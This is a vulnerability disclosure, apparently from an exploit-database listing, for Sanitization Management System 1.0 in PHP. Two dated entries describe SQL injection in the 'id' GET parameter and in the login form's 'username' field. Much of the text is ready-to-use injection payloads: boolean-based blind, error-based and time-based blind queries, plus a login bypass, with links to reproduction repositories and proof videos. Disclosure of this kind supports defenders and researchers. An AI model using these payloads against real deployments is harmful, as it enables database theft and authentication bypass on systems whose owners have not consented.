Sanitization Management System version 1.0 suffers from a remote SQL injection vulnerability. This entry was updated in January of 2024 with additional findings.
3a4de72e3b739ff23b5ce1e6d25229108f69fd6464014bc7ad7fb001ce6a3b8c
## Title: SMS - PHP (by: oretnom23 ) v1.0 SQLi
## Author: nu11secur1ty
## Date: 11.25.2022
## Vendor: https://github.com/oretnom23,
https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/download-code?nid=15770&title=Sanitization+Management+System+Project+in+PHP+and+MySQL+Free+Source+Code
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Sanitization-Management-System-1.0
## Description:
The `id` parameter appears to be vulnerable to SQL injection attacks.
The attacker can get all information from this system by using this
vulnerability.
## STATUS: HIGH Vulnerability - CRITICAL
[+] Payload:
```MySQL
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: p=services/view_service&id=126664801' or '5968'='5975' OR
NOT 5461=5461 AND 'gEud'='gEud
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: p=services/view_service&id=126664801' or '5968'='5975' OR
(SELECT 5753 FROM(SELECT COUNT(*),CONCAT(0x7176707671,(SELECT
(ELT(5753=5753,1))),0x71767a7071,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'DEYy'='DEYy
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: p=services/view_service&id=126664801' or '5968'='5975'
AND (SELECT 6369 FROM (SELECT(SLEEP(5)))Rnfu) AND 'PUfi'='PUfi
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Sanitization-Management-System-1.0)
## Proof and Exploit:
[href](https://streamable.com/rnfvjf)
## Time spent
`00:30:00`
## Title: SMS-PHP-by-oretnom23-v1.0 Multiple-SQLi
## Author: nu11secur1ty
## Date: 01/15/2024
## Vendor: https://github.com/oretnom23
## Software: https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/oretnom23/2024/SMS-PHP-by-oretnom23-v1.0/docs/sms.zip
## Reference: https://portswigger.net/web-security/sql-injection
## Description:
The `username` and `password` parameters are vulnerable to SQL
injection attacks. The payloads 50234125' or 1478=1478-- and 80378308'
or 3393=3397-- were each submitted in the username parameter. These
two requests resulted in different responses, indicating that the
input is being incorporated into a SQL query in an unsafe way. The
second way is bypassing of login
by using SQLi bypass authentication vulnerability. The attacker can
destroy this system by using these vulnerabilities!
STATUS: HIGH-CRITICAL Vulnerability
[+]Payload:
```mysql
---
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: username=-6830' OR 2796=2796 OR 'uIUX'='XnFq&password=g0Q!i6z!P5
Type: error-based
Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
Payload: username=-5936' OR 1 GROUP BY CONCAT(0x71716b7671,(SELECT
(CASE WHEN (3036=3036) THEN 1 ELSE 0
END)),0x7178786271,FLOOR(RAND(0)*2)) HAVING
MIN(0)#&password=g0Q!i6z!P5
---
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2024/SMS-PHP-by-oretnom23-v1.0)
## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2024/01/sms-php-by-oretnom23-v10-multiple-sqli.html)
## Time spend:
00:05:00